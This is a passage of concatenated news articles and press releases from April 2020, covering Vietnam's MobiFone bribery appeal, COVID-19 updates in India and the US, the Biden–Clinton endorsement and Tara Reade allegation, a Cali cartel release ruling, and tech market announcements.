to the Atlantic County jail. Police said the van was heavily damaged. Our journalism needs your support. Please subscribe today to NJ.com. Jeff Goldman may be reached at jeff_goldman@njadvancemedia.com. Follow him on Twitter @JeffSGoldman. Find NJ.com on Facebook. Your browser does not support the audio element. The Peoples High Court in Hanoi has upheld the life sentence for former Minister of Information and Communications Nguyen Bac Son for receiving US$3 million in bribes to facilitate the scandalous MobiFone-AVG deal. The appellate court was organized on Monday. Son, who was minister for the 2011-16 tenure, stood his first trial in late December 2019 and was sentenced to life in prison for receiving $3 million in kickbacks and a 16-year jail term for violations in the management and use of public investment capital that led to serious consequences. The ex-official later appealed for a reduction of his sentence. According to the judges of the appellate court, state-run telco MobiFone attempted to acquire a 95 percent stake in AVG, a pay-per-view private TV company, for nearly VND8.9 trillion ($383.7 million) in 2015. The Ministry of Information and Communications, which represented the state ownership at MobiFone, was responsible for the deal after being given the go-ahead by the prime minister. Son, as the communications minister at the time, signed multiple decisions to facilitate the deal and ordered that the purchase be completed within 2015. He discussed the deal with Pham Nhat Vu, former chairman of AVG, multiple times during the implementation of the project and eventually received $3 million in bribes from Vu after the deal was signed. Le Nam Tra, former chairman of MobiFone, appears at an appellate court in Hanoi, Vietnam, April 27, 2020. Photo: Than Hoang / Tuoi Tre Following an inspection by the Central Inspection Committee and Government Inspectorate in 2017, the contract was nullified and all the money MobiFone had spent on the deal was refunded. Inspectors stated that the deal could have caused losses worth over VND6.5 trillion ($281.3 million) to the state budget. The judges stated that the life sentence was appropriate for such a serious violation, adding that there was no mitigating factor in Sons case. Meanwhile, the court agreed to give other defendants in the case reduced sentences. Specifically, Le Nam Tra, former chairman of MobiFone, will spend four years in prison, down by three years from the verdict in the first-instance trial, for violating regulations on the management and use of public investment capital, causing serious consequences. However, his 16-year jail term for taking bribes was upheld. He will serve a combined sentence of 20 years behind bars. Other defendants who are former MobiFone officials received a jail term of 12 to 14 months each. Their previous sentences were two to three years in prison. Like us on Facebook or follow us on Twitter to get the latest news about Vietnam! You are here: Business New cargo train services have been launched between east China's Shandong Province and countries of Shanghai Cooperation Organization (SCO). A train carrying 45 containers departed Monday from the intermodal transportation center of the demonstration zone for China-SCO local economic and trade cooperation in the city of Qingdao, according to the demonstration zone. The train, loaded with excavators and land levelers worth a total of 20 million yuan (2.8 million U.S. dollars), is expected to arrive at Almaty, Kazakhstan, in eight days. With the intermodal transportation center in Qingdao as the cargo distribution center, the monthly train services will deliver cargo to more than 30 cities of SCO countries, including Tashkent, Minsk and Ulan Bator. Aizawl/Guwahati, April 28 : Mizoram would soon be the sixth COVID-19- free state out of the eight states in northeast India as the state's lone corona patient tested negative while after five days, a fresh positive case was found in Assam, Minister and officials said on Tuesday. "The swab sample of the lone Mizoram patient had tested negative a few days back. After his samples were found negative in subsequent tests, the doctors would decide about his release from the hospital," Mizoram's Health and Family Welfare Director H. Lalchungnunga told IANS over phone. "The patient's condition is stable," he said. The 50-year-old Christian pastor from Mizoram had tested positive for coronavirus after he returned to Aizawl from Amsterdam, Netharland via Delhi and Guwahati on March 16 and then admitted to the Zoram Medical College and Hospital. The Mizoram man's wife and two children's swab samples had earlier tested negative and they are staying at home. Health officials in Aizawl said that four people, including two women, from Mizoram tested positive for Covid-19 in Maharashtra in the third week of April. All the four people, three of them are cancer patients, along with their relatives had been living in Mizoram House in Mumbai. A doctor from Mizoram, who worked in a hospital in Meghalaya, also tested positive for coronavirus in Shillong on April 14. In Guwahati, Assam Health Minister Himanta Biswa Sarma said in a tweet on Tuesday that a 16-year-old girl from Salmara Bongaingaon (western Assam), secondary contact of a (Nizamuddin) Markaz attendee, has tested positive for coronavirus. "The number of COVID-19 patients in Assam now stands at 36. However active cases undergoing treatment in the hospitals are now eight," the Minister said. Sarma told the media in Guwahati most of the patients undergoing treatments in various medical colleges and hospitals are expected to be released within few days. While no positive case was reported from Sikkim and Nagaland, the other six northeastern states have so far reported 55 coronavirus positive cases. Five of the eight northeastern states - Sikkim, Nagaland, Arunachal Pradesh, Manipur and Tripura -- are currently free from coronavirus and its spread has been mostly tamed in other three states -- Assam, Meghalaya and Mizoram. Two persons, a senior doctor in Meghalaya and a 65-year-old Covid-19 patient in Assam, have died. Of Assam's 36 cases, 35 people directly or indirectly participated in the Delhi's Nizamuddin Tablighi Jamaat congregation last month. Of the 55 cases detected so far in the northeastern states, there are only 21 active cases -- eight in Assam, 11 in Meghalaya and one in Mizoram. Prime Minister Narendra Modi called on Indonesian President Joko Widodo on Tuesday to discuss the ongoing Coronavirus pandemic. Taking to Twitter, PM Modi said that close cooperation between India and Indonesia will be important to deal with the health and economic challenges posed by this crisis. Amid the ongoing crisis, the Prime Minister has been reaching out to leaders of several countries ensuring and assuring cooperation in battling the COVID-19 pandemic. Discussed COVID-19 pandemic with good friend President @Jokowi. As close maritime neighbours and Compreshensive Strategic Partners, close cooperation between India and Indonesia will be important to deal with the health and economic challenges posed by this crisis. Narendra Modi (@narendramodi) April 28, 2020 READ | China Issues Stung First Response As ICMR Cancels 15 Lakh Inaccurate Covid Test Kits Order At present, there are 21,632 active Coronavirus cases in India. While 6,868 individuals have recovered from the deadly disease, 934 have succumbed to it. READ | Coronavirus Live Updates: No New Case In 80 Districts Since 7 Days; Total Tally 29,435 PM-CMs meet Prime Minister Narendra Modi interacted with Chief Ministers on Monday via videoconferencing on the prevailing Coronavirus situation in the country. The meeting which lasted two-and-a-half-hours came just a week ahead of the scheduled ending of the nationwide lockdown on May 3. According to the official statement, the Chief Ministers praised the leadership of the Prime Minister during this period of crisis, and also highlighted the efforts undertaken by them in containing the virus. READ | Supreme Court Employee Tests Positive For Coronavirus; Kin & 2 Registrars Quarantined In the interaction, Prime Minister underlined that the lockdown has yielded positive results as the country has managed to save thousands of lives in the past one and a half months. He added that Indias population is comparable to that of the combined population of several countries. The situation in many countries, including India, was almost similar at the start of March. However, due to timely measures, India has been able to protect many people. He, however, forewarned that the danger of the virus is far from over and constant vigilance is of paramount importance. READ | 'Maintain Spirit', Says Boris Johnson, In First Public Address Post COVID Recovery Prime Minister said that the country has seen two lockdowns till now, both different in certain aspects, and now we have to think of the way ahead. He said that as per experts, the impact of coronavirus will remain visible in the coming months. Reiterating the mantra of do gaz doori, he said that masks and face covers will become part of our lives in the days ahead. He added that under the circumstances, everyones aim must be rapid response. He pointed out that many people are self-declaring whether they have cough and cold or symptoms, and that this is a welcome sign. During her 67-year reign in the British throne, Queen Elizabeth II has seen and worked with a total of 14 Prime Ministers. While Buckingham Palace is firm to say that the Queen maintains a stable relationship with the country's leaders, reports show that she has developed some stronger bonds than the others. Being the head of the royal family, one of the rules that the 94-year-old monarch has to abide is not to share her political views and never divulge her relationship with political leaders. This is the very reason why Her Majesty felt betrayed when former Prime Minister Tony Blair published controversial details of their private conversation when he penned an autobiography. Back in 2005, the 72nd Prime Minister of the United Kingdom published a book called "A Journey: My Political Life." It narrates Blair's 1997 victory of ending 18 years of a conservative government. However, Blair's memoir sparked furious reactions from the Queen, as it included several private conversations that they had during some of their one-on-one private audience session. Queen's Disappointment According to a Telegraph report, a senior courtier said that the Queen was disappointed with some details of the said book. "(There is) a profound sense of disappointment", the courtier said. "Her Majesty has to be able to talk to her chief minister in confidence, without any sense of trepidation that her words might someday be retailed in a cheap and cheerful volume of memoirs." The palace courtier explained that no Prime Minister had done that move before, and the palace hopes it will never happen again. One of the conversations with the Queen divulged by Blair on his biography book is the discussion they had after the funeral of Diana, Princess of Wales. The conversation took place at the Balmoral, in which Blair claimed that Her Majesty told him they should learn a lesson with the way things were handled after the death of her estranged daughter-in-law. In another attempt to insult the monarch, Blair also revealed how the Queen occassionally exhibited an "hauteur" treatment towards him. Right To Be Consulted Constitutional historian Kenneth Rose said that Queen Elizabeth II's degree of disappointment was perfectly understandable, as Blair should have consulted the monarch before publishing the private conversations. "The monarch has 'the right to be consulted, the right to encourage, the right to warn' his or her chief minister. That has to be done on the basis of trust," Rose explained. Prince William Echoes The Queen's Disappointment According to a 2010 report, Prince William also felt betrayed by the ex-PM after he also published some of their private conversations. In his book, Blair shared how the Duke of Cambridge hated the "prison walls" of his destiny as the future king. "He knew now, if he didn't before, what being a prince and a king meant. For all the sense of duty, the prison walls of hereditary tradition must have seemed too high a price to pay," Blair wrote. President Donald Trump speaks during the daily briefing of the CCP virus task force at the White House in Washington on April 23, 2020. (Drew Angerer/Getty Images) Americans Receive Letter from Trump Explaining Stimulus Checks The White House is sending out letters to Americans, signed by President Donald Trump, explaining the COVID-19 economic impact payments, sometimes referred to as stimulus checks, which are being sent out as part of the $2.4 trillion economic relief package. The emergency relief bill, called the CARES Act, requires a notification to be sent out to aid recipients informing them of some payment details. Such notice shall indicate the method by which such payment was made, the amount of such payment, and a phone number for the appropriate point of contact at the Internal Revenue Service to report any failure to receive such payment, the legislation states. Written on The White House letterhead, the notification letter announces, Your Economic Impact Payment Has Arrived, before giving some context for the relief initiative. Our great country is experiencing an unprecedented public health and economic challenge as a result of the global coronavirus pandemic, the letter reads, referring to the outbreak of the CCP (Chinese Communist Party) virus, the novel coronavirus that emerged in Wuhan, China, in 2019, and spread across the globe. The White House mailed out a letter from President Donald Trump to announce the IRS payments (The Epoch Times) Our top priority is your health and safety. As we wage total war on this invisible enemy, we are also working around the clock to protect hardworking Americans like you from the consequences of the economic shutdown, Trump states in the letter. We are fully committed to ensuring that you and your family have the support you need to get through this time, he adds. In the past five weeks alone, the number of initial jobless claims totaled 26.4 million, erasing all the jobs created since the Great Recession. The economic boom following the 2008 financial crisis was the longest in U.S. history when lockdowns, sparked by the outbreak of the CCP virus brought it to a dramatic end. In recent remarks on ABCs This Week, White House economic advisor Kevin Hassett said the nations economic outlook was in a really grave situation. Were going to be looking at an unemployment rate that approaches rates that I think we saw during the Great Depression, he said. During the Great Recession we lost 8.7 million jobs in the whole thing. Were losing that every 10 days. Trumps letter also gives some context for the CARES Act and highlights its bipartisan nature. On March 27, 2020, Congress passed with overwhelming bipartisan support the Coronavirus Aid, Relief, and Economic Security Act (CARES), which I proudly signed into law, the letter states. In the letter, Trump thanks the House and Senate for working with my administration to fast-track this $2.2 trillion in much-needed economic relief to the American people. The letter then indicates the size of the economic impact payment and the means of its disbursement, before going on to say, We hope this payment provides meaningful support to you during this period. The Internal Revenue Service (IRS) said last Friday that it had issued more than 88 million economic impact payments to households through April 17, with the money disbursed totaling about $158 billion. Tens of millions of people across the country are receiving these payments, and millions more are on the way, said IRS Commissioner Chuck Rettig, in a statement. More than 150 million payments in total are expected to be sent out as part of the rescue package to help Americans impacted by the pandemic. Trump concludes the letter by saying: Every citizen should take tremendous pride in the selflessness, courage, and compassion of our people. Americas drive, determination, innovation, and sheer willpower have conquered every previous challengeand they will continue to conquer this one too. Just as we have before, America will triumph yet againand rise to new heights of greatness. We will do it together, as one nation, stronger than ever before. For people who have questions about their economic impact payments or need assistance, the IRS has a tax help service on IRS.gov that operates 24/7, though its live telephone help is currently down due to the outbreak. Hillary Clinton endorsed Joe Biden's campaign for president on Tuesday, appearing alongside the presumptive Democratic nominee on a livestreamed event. 'I am thrilled to be part of your campaign, not only to endorse you, but to help highlight a lot of the issues that are at stake in this presidential election,' Clinton told the former vice president, who introduced her as 'the woman who should be president of the United States.' Clinton's stamp of approval comes amid mounting pressure for Biden to personally address accusations made by a former staffer, Tara Reade, that he sexually assaulted her on Capitol Hill when he was serving as a U.S. senator. On the livestream, Clinton asked the audience to 'think of what it would mean' if the U.S. had a president 'who not only listened to the science, put facts over fiction, but brought us together, showed the kind of compassion and caring that we need from our president and that Joe Biden has been exemplifying throughout his entire life.' 'Think of what it would mean if we had a real president, not just somebody who plays one on TV,' she said knocking President Trump, a former reality TV star. Hillary Clinton (right) endorsed Joe Biden (left) on a livestreamed event where she talked about their 25-year work history and friendship Clinton talked about her family ties with Biden, their long work history together and the friendship that had developed over 25 years. 'We share a common experience and a love of Scranton, Pennsylvania,' Clinton remarked, explaining that her great-grandparents had settled in the swing state town upon leaving England and Wales. 'And while the Rodhams were living on Diamond Avenue, the Bidens were living on North Washinton Street.' Biden responded by saying, 'When we die, Scranton will be written on our hearts.' She talked about how the two would have a 'standing date for breakfast' when he was serving as President Obama's vice president and she was secretary of state. 'And we talked about his love of trains and his love of ice cream, which knows no bound as far as I can tell,' Clinton remarked. 'I've been a friend and I can tell you that I wish he was president right now, but I can't wait until he is,' she added. Biden expressed that he wished it was the other way around. 'I wish this were us doing this and my supporting your re-election for president of the United States,' Biden said. 'You won the majority of the vote, I think the way in which some of the state acted was ... ,' he continued, trailing off before switching gears. Biden pointed out the U.S. would still be dealing with the coronavirus pandemic, but with a more prepared president. 'Well, I'll tell you one thing I would have done Joe, which you know so well, I would have read my daily intelligence briefings,' Clinton said, starting to laugh. 'That were sounding the alarm since January.' 'But apparently this president doesn't do what we used to do,' Clinton added. Biden mused that either Trump didn't read the briefings - the more charitable option, the former veep said - or the current president ignored them. 'I'm going to keep calling and asking your advice,' Biden then told Clinton. Clinton tweeted two hours before the event was to begin a 'little hint' that she would be joining the former vice president. Biden's campaign made it official several minutes later Due to the coronavirus pandemic, Biden has been holding campaign events via livestream from the basement rec room of his Wilmington, Delaware home Joe Biden (left) is seen campaigning for Hillary Clinton (center) when she was running for president in 2016 While sealing up the Democratic primary, the Biden campaign has had to deal with the drip, drip, drip of Reade's claims, which the campaign denied last month. 'Women have the right to tell their story, and reporters have an obligation to rigorously vet those claims,' Deputy Campaign Manager and Communications Director Kate Bedingfield said in March. 'We encourage them to do so, because these accusations are false.' This week, a neighbor of Reade told Insider that she recalled hearing about it during the era in which Reade said the incident occurred. 'This happened, and I know it did because I remember talking about it,' she told the publication. Another source, a woman named Lorraine Sanchez who worked with Reade in the office of a state senator in the mid 1990s, told the publication that she recalled Reade saying she was fired after raising concerns about sexual harassment from her former boss. Tara Reade, who worked for Joe Biden in 1993, accused him of sexual assault in a number of interviews - including this one on Hill.TV. She had previously accused the ex-senator of touching her neck. In new interiews she accused him of putting his hand down her skirt Earlier this month, Tara Reade posted a photograph of herself in 1993, the year she claims Joe Biden sexually harassed and assaulted her These women came forward after a clip came out that allegedly shows Reade's mother phoning into 'Larry King Live' in 1993 and asking if her daughter should go to the press about a 'prominent senator' behaving badly. Reade, who was among the women who came out last year with stories about Biden being too handsy, said she was assaulted by the former U.S. senator in 1993 in a Capitol Hill hallway. Reade's first accounts of the alleged assault were told to Katie Halper for her 'Katie Halper Show' podcast. She was also interviewed by Hill.TV and Vox. Reade told Halper that the assault occurred after she was told to deliver a gym bag to the then-senator. Reade said she tracked down Biden on Capitol Hill and he remembered her name. 'And then we were alone. And it was the strangest thing. There was no, like, exchange really, he just had me up against the wall,' she said. She said she was wearing a work skirt, but no pantyhose. 'He just had me up against the wall and the wall was cold,' she said. 'His hands were on me and underneath my clothes. He went down my skirt and then up inside it and he penetrated me with his fingers. He was kissing me at the same time,' she said. She said that when she 'pulled back,' Biden 'looked annoyed.' Reade said Biden said to her, 'Come on man, I heard you liked me.' Biden was married to his second and current wife, Jill, at the time. 'He implied that I had done this,' Reade told the podcast host. 'You're nothing to me,' she claimed Biden said to her. 'Nothing.' Reade shared her interview with Halper on her now-locked Twitter account adding, 'Please stay in Bernie.' She supported Sanders over Biden in the 2020 Democratic primary. Now there are calls for Biden to personally address Reade's allegations, as more people have come forward to corroborate her claims. President Trump has faced a myriad of sexual assault and harassment allegations, but denied them all When Trump ran against Clinton in 2016, he brought a number of women who have accused Bill Clinton of sexual misdeed to an October presidential debate on the heels of the 'Access Hollywood' tape release, which advisers feared would tank his presidential campaign President Trump has faced a myriad of sexual assault and harassment allegations too. He's denied all of them. But he apologized for the release of the infamous 'Access Hollywood' tape where he boasted about being a celebrity and said that meant he could do anything to women, including 'grab them by the p****.' He argued, however, that Hillary Clinton, his 2016 general election rival, was worse because she helped her husband, President Bill Clinton, get away with sexual misdeeds - while Trump merely engaged in 'locker room talk.' Trump famously paraded around some of Bill Clinton's accusers at the second presidential debate on the heels of the 'Access Hollywood' tape's release. At the time it appeared to be a hail Mary pass, as many believed the tape would tank the GOP nominee's campaign. The Biden event with Clinton was originally billed by the Biden campaign as a Womens Town Hall with a 'special guest.' Two hours before it was set to begin, Clinton sent out a tweet suggesting she was said guest. 'A little hint about who the surprise guest will be for Joe Biden's 3pm ET town hall today,' she tweeted. She included a picture of the two of them together in the Oval Office alongside President Barack Obama. '(She's excited.)' Clinton added. The Biden campaign confirmed minutes later that it was indeed Clinton who would appear. Later Biden tweeted out, '(I'm with her.)' in response to Clinton's tweet. Biden has received a flurry of major Democratic endorsements since Sanders, his final rival, dropped out of the race earlier this month. Earlier this week he received one from House Speaker Nancy Pelosi. Kicking off the week of April 13, Sanders was the 'special guest' on Biden's livestream programming and gave the ex-veep the nod. Sanders was quickly followed by Obama and Elizabeth Warren, who also sought the 2020 Democratic nomination before dropping out after Super Tuesday when Biden won 11 of 14 races. Trump's campaign for re-election reacted to the Biden-Clinton link-up with glee. 'There is no greater concentration of Democrat establishment than Joe Biden and Hillary Clinton together. Both of them carry the baggage of decades in the Washington swamp and both of them schemed to keep the Democrat nomination from Bernie Sanders,' said Trump's campaign manager Brad Parscale in a statement sent out Tuesday. 'President Trump beat her once and now he'll beat her chosen candidate.' The Trump campaign didn't mention Reade's sexual assault claim. ST. PETERSBURG, Fla. - One of the most notorious Colombian cocaine cartel kingpins will not be released early from a U.S. prison over claims of ill health and fears of the deadly effects on him of a potential coronavirus infection, a federal judge ruled Tuesday. U.S. District Judge Federico Moreno found that Gilberto Rodriguez Orejuela, the 81-year-old former chieftain of the Cali cartel, did not have serious enough health problems to merit early release. The judge also said doing so would be a blow to the U.S. justice system. The cartel led by Rodriguez Orejuela and his brother, Miguel, smuggled over 200,000 kilograms (441,000 pounds) of cocaine worth more than $2.1 billion into the U.S. in the 1980s and 1990s. The organization succeeded the Medellin cartel once run by drug lord Pablo Escobar. Both used violence and killings extensively for intimidation and enforcement. The court can only imagine the far-reaching, destructive effects of this much cocaine in the United States, Moreno wrote. How many thousands, if not hundreds of thousands, of lives were affected? Rodriguez Orejuela has served about half of a 30-year prison sentence imposed after he and his brother reached a 2006 plea deal with federal prosecutors in Miami. His attorney, David O. Markus, said he is saddened and disappointed by the decision. We should let old and sick inmates die at home with their families, not alone in a prison cell, Markus said in an email. In his argument for compassionate release, court documents show Rodriguez Orejuela suffers from a range of health problems including colon cancer, prostate cancer, two heart attacks, high blood pressure, skin cancer, gout, chronic anxiety and depression. The documents paint a picture of a frail old man who often must use a walker and frequently visits the infirmary at his prison in Butner, North Carolina. The coronavirus that has killed tens of thousands of people worldwide, and has been a problem in many jails and prisons, is another concern, the documents say. Prosecutors acknowledged that Rodriguez Orejuela has multiple health issues but added that he can still get around and generally take care of himself under medical supervision. Moreno ruled that those health problems are not enough to merit compassionate release even under the possible threat of the coronavirus. Rodriguez Orejuelas medical condition, while far from perfect, is also far from extraordinary and compelling, the judge wrote. Under the brothers 2006 plea deal, more than two dozen family members were removed from a Treasury Department list designating them as part of the Cali cartel. That spared some of them from prosecution for obstruction of justice or money laundering and also allowed legitimate family businesses in Colombia to continue operating. As of now, Rodriguez Orejuelas prison release date is Feb. 9 2030, when he would be in his early 90s. His brother, 76-year-old Miguel, is serving his sentence at a Pennsylvania prison. In a separate case, a different Miami federal judge is weighing whether to permit early release of Fabio Ochoa, 62, a former leader of the Medellin cartel. Ochoas lawyer argues he should get out of prison because of a change in sentencing guidelines that would shave five years off his 30-year sentence. Fourteen Border Security Force (BSF) jawans deployed in Chhattisgarh have tested negative for coronavirus on Tuesday after they reached there from Agra two days back, officials said. The troops, however, will be under quarantine for 14 days, he said. The troops, on board a truck of the force, had reached Bhilai town of Chhattisgarh on April 26 from Delhi and had stayed at a police line in Agra (Uttar Pradesh) for 20 days. All 14 have tested negative after their reports came on Tuesday, the official said. These BSF troops are deployed in the anti-Naxal operations grid of the state. The about 2.5 lakh personnel strong force is primarily tasked to guard Indian borders with Pakistan and Bangladesh apart from rendering a variety of duties in the internal security domain of the country. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Easton Hospital was founded more than 100 years with money raised by churches. It remained a non-profit until 2001. Then, like many smaller hospitals, it ran into financial problems and was put up for sale, eventually being bought by a for-profit hospital chain. In 2017, that chain sold it to another for-profit entity, this one owned by investment firm Cerberus Capital Management LP, which, according to a report in The Wall Street Journal, is worth $43 billion. The new owner in turn separated the hospital building from operations and sold it to a company in which Cerberus has a financial stake. That forced the hospital to pay millions of dollars in annual rent on property it previously owned, according to The Wall Street Journal. Easton Hospital was struggling before the COVID-19 crisis hit. Then, on March 22, the owner wrote to the Gov. Tom Wolf administration, saying it would close the hospital without a $40 million bailout, according to the Journals report. Wolf administration and Easton-area officials were alarmed by the possible loss of hospital beds during the pandemic. The state eventually provided $8 million while promising to seek additional funding. Still, the conditions of that eventually resulted in another threat to close if a midnight deadline wasnt met, according to the report, and the owners continue to say they might close the hospital. According to The Wall Street Journal, some of the government officials involved in the bailout discussions werent aware the hospital is backed by private equity, and didnt ask why the hospital didnt go to the private equity owners for a bailout. The hospital owner and Cerberus told the Journal they went above and beyond to keep the hospital open, have foregone profits during the crisis, and noted the hospital pays millions in taxes. The Journal quoted Easton Mayor Sal Panto as saying the hospital owner kept the state hostage with the threat of lost beds during a pandemic. It further quoted state Rep. Robert Freedman, who represents the Easton area, as saying, Hospitals should be community assets They shouldnt be subject to the kinds of corporate raiding that goes on in the private sector. According to the Journal, private investors have spent about $200 billion on health care-related buyouts during the past decade, commonly selling off assets for profit and loading the health care companies with dept. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. The idea of thrifty, self-sufficient red states propping up blue states has long been a Republican canard. In 2017, Paul Ryan, who was the House speaker, trotted out this line while pushing to repeal the exemption for state and local taxes as part of the tax package. (Ultimately, the deduction was merely capped.) States that got their act together are paying for states that didnt, he claimed, and promised that his desired repeal would put an end to the rest of the country propping up profligate, big-government states. This claim was wrong then, and it is wrong now. To the contrary, a 2017 Associated Press analysis noted that High-tax, traditionally Democratic states (blue), subsidize low-tax, traditionally Republican states (red) in a big way. For the past few years, the Rockefeller Institute of Government has been crunching the numbers on what Mr. Ryan might have called maker and taker states that is, which states pay more into federal coffers than they receive in federal spending, and vice versa. This years report found that, over four years, New York businesses and residents paid in $116.2 billion more than the state received back. New York, in fact, has the least favorable balance of payments of any state in the nation. Of the 20 states with the most favorable balance of payments, a handful, at most, are blue. For every dollar in federal taxes it pays, New York receives 91 cents in return, behind only Connecticut (which receives 84 cents for each dollar), New Jersey and Massachusetts (which both receive 90 cents per dollar). Mr. McConnells home state, Kentucky, by contrast, rakes in $2.41 for every tax dollar it sends Washington. In other words, Mr. McConnells state is effectively subsidized by blue states like New York and New Jersey. Gov. Andrew Cuomo of New York reminded Mr. McConnell of this during his Thursday news briefing. Senator McConnell, whos getting bailed out here? the governor demanded. Its your state that is living on the money that we generate. Mr. McConnell took heat even from some members of his own party. The last thing we need in the middle of an economic crisis is to have states all filing bankruptcy all across America and not able to provide services to people who desperately need them, Marylands governor, Larry Hogan, the current chairman of the National Governors Association, told Politico in an interview on Thursday. Representative Peter King, a New York Republican, took particular exception to Mr. McConnells suggestion that states were looking for free money. To say that it is free money to provide funds for cops, firefighters and health care workers makes McConnell the Marie Antoinette of the Senate, Mr. King tweeted. Iffath Fathima By Express News Service BENGALURU: Finally, the state may see a ray of hope in its fight against coronavirus, as two recovered patients have come forward as donors for plasma therapy, for which clinical trials began on Monday at HCG Hospital. The two donors Naveen (name changed), a 40-year-old HR professional and 36-year-old Diya Naidu, told TNIE that they will be donating again after two weeks. Naveen was the first donor, and had contacted Dr Vishal Rao - who is heading the trials - himself. Naveen had travelled to Dubai on work and had returned on March 20. On March 28, he developed a fever, and on March 30, it was confirmed that he had tested positive for coronavirus. I was discharged on April 14, which is when I read that Dr Vishal Rao would be conducting trials for plasma therapy. So I contacted him and I decided to volunteer. There is no vaccine for coronavirus yet, and if this can help those who are in critical condition, Im glad to have contributed to the cause. I hope other recovered patients come forward too. Talking about the process, Naveen said, Initially, there were a few hesitations as I was the first donor, but it went smoothly and took about an hour totally. I did not feel any weakness either. Im told that we can donate again after two weeks, so I will be back. Divya, meanwhile, had travelled to Switzerland and had returned on March 9. On March 18, her samples came back positive. She recovered and was discharged on April 6. I had no obvious symptoms, but was feeling very uneasy and had lost my sense of smell and taste, which is when I got myself tested. On Monday, I got a call from Dr Vishal Rao asking if I can forward as a donor and I immediately agreed. The process took about 40 minutes and was not painful at all, she said. Divya added, If this can help save someones life, theres nothing like it. I have told the hospital management that I will be donating once again. It will be great if more recovered patients come forward too. Scale Computing, a market leader in edge computing, virtualization and hyperconverged solutions, today announced Willard Public Schools, an award-winning public school system in Willard, Missouri, has been relying on Scale Computing HC3 since 2011 for its long-term, future-proofed IT infrastructure to power its educational institutions. Located in Willard, Missouri, Willard Public Schools serves approximately 4,400 students across nine schools from grades K-12 and is committed to a Future Ready learning environment. To support that vision, the school district required a flexible and modern IT infrastructure. However, Willard Public Schools small IT team of eight struggled with supporting a wider diversification of the types of applications and needed IT infrastructure capable of keeping pace. Following an initial implementation in 2011, Willard Public Schools decided to replace all of its remaining legacy infrastructure with Scale Computing, creating an all-in-one hyperconverged solution with maximum availability, ease of use and reliability. With HC3 as its IT foundation, Willard Public Schools has a future-proofed, efficient, high-performing IT infrastructure. Simplifying its entire IT infrastructure allows Willards IT team to focus on more strategic projects. With nine schools spread out across the district, we needed an IT infrastructure that didnt require us to devote additional time or resources to manage the technology. With HC3, we found a solution that checked all the boxes and allowed our IT team to focus on more strategic projects. Not only is it self-healing and reliable, but it actually does what it says it will, said Scott Wooldridge, technology director, Willard Public Schools. We have relied on Scale Computing for nearly a decade, since it is affordable, reliable and scalable for our growing school district. Willard Public Schools has become increasingly more digital, requiring an affordable, efficient IT infrastructure, so that students can receive the best quality education. With HC3, Willard Public Schools is pre-positioned to take advantage of new technology in the future to continue providing its students with the best learning experience possible. The IT team now has its weekends back and no longer has to worry about downtime with HC3s patented self-healing HyperCore technology, which identifies, reduces and corrects problems in real-time. Technological innovation in education is evolving rapidly, so students, teachers and administrative staff need a reliable, affordable IT infrastructure that is future-proofed for the long-term to keep pace with advancements, said Jeff Ready, CEO and co-founder, Scale Computing. By relying on Scale Computing for nearly a decade, Willard Public Schools is in a position to take advantage of new, innovative technologies as theyre released, in addition to scaling for future demands. With Scale Computing HC3, virtualization, edge computing, servers, storage and backup/disaster recovery have been brought into a single, easy-to-use platform. All of the components are built in, including the hypervisor, without the need for any third-party components or licensing. HC3 includes rapid deployment, automated management capabilities, and a single-pane-of-management, helping to streamline and simplify daily tasks, saving time and money. For more information on Scale Computing HC3, visit: https://www.scalecomputing.com/hc3-virtualization-platform and for more information on HC3 and education, visit: https://www.scalecomputing.com/education. About Scale Computing Scale Computing is a leader in edge computing, virtualization, and hyperconverged solutions. Scale Computing HC3 software eliminates the need for traditional virtualization software, disaster recovery software, servers, and shared storage, replacing these with a fully integrated, highly available system for running applications. Using patented HyperCore technology, the HC3 self-healing platform automatically identifies, mitigates, and corrects infrastructure problems in real-time, enabling applications to achieve maximum uptime. When ease-of-use, high availability, and TCO matter, Scale Computing HC3 is the ideal infrastructure platform. Read what our customers have to say on Gartner Peer Insights, Spiceworks, TechValidate and TrustRadius. The global smart plug market is expected to grow by USD 13.99 billion during 2020-2024. The report also provides the market impact and new opportunities created due to the COVID-19 pandemic. The impact can be expected to be significant in the first quarter but gradually lessen in subsequent quarters with a limited impact on the full-year economic growth, according to the latest market research report by Technavio. Request a free sample report This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005785/en/ Technavio has announced its latest market research report titled Global Smart Plug Market 2020-2024 (Graphic: Business Wire) Consumers have started adopting new technologies because of their fast-changing lifestyles and the need for convenience. The improvement in network infrastructure has translated into better broadband and Internet penetration. This has resulted in consumers increasingly opting for wireless and technologically advanced products. The concept of controlling a home appliance via the Internet and a smartphone has attracted considerable attention since 2013. To cater to this growing demand for convenient products, marketers are focusing on advancing technologies to develop smart plugs that could convert any appliance into a smart appliance. By downloading the app on their mobile devices and connecting their appliances through Wi-Fi, consumers can easily operate, monitor, and receive notifications on their smartphones from any remote location. Thus, the high demand for remote access to appliances is expected to drive the growth of the market during the forecast period. To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43229 As per Technavio, the increasing demand for smart homes and development of smart cities will have a positive impact on the market and contribute to its growth significantly over the forecast period. This research report also analyzes other significant trends and market drivers that will influence market growth over 2020-2024. Smart Plug Market: Increasing Demand for Smart Homes and Development of Smart Cities The smart homes has the highest penetration in North America and Europe, with developing economies in APAC also steadily adopting the concept. Devices such as Amazon Alexa, an intelligent personal assistant developed by Amazon, enables smartphone-enabled control of smart home devices. Amazon Echo, another product by Amazon, is a speaker that controls all functions of a smart home. In addition, the smart city concept is also gaining popularity with global companies, such as Microsoft, IBM, and Alphabet aiding the development through innovative initiatives and solutions. Smart plugs are used in home appliances to connect various devices with smartphones. Thus, with the increasing demand for smart homes and the development of smart cities, the demand for smart plug is expected to increase, thereby driving market growth. "Factors such as the promotion of smart plugs through trade exhibitions, growing demand for energy efficiency, and the increasing use of connectivity will have a significant impact on the growth of the smart plug market value during the forecast period," says a senior analyst at Technavio. Register for a free trial today and gain instant access to 17,000+ market research reports Technavio's SUBSCRIPTION platform Smart Plug Market: Segmentation Analysis This market research report segments the smart plug market by technology (early majority, innovator, and early adopters), end-user (residential and commercial), and geography (North America, Europe, APAC, MEA, and South America). The North American region led the smart plug market in 2019, followed by Europe, APAC, MEA, and South America respectively. During the forecast period, the North American region is expected to register the highest incremental growth due to factors such as the increase in the popularity and adoption of smart homes, and the growing need for tracking and reducing power consumption. 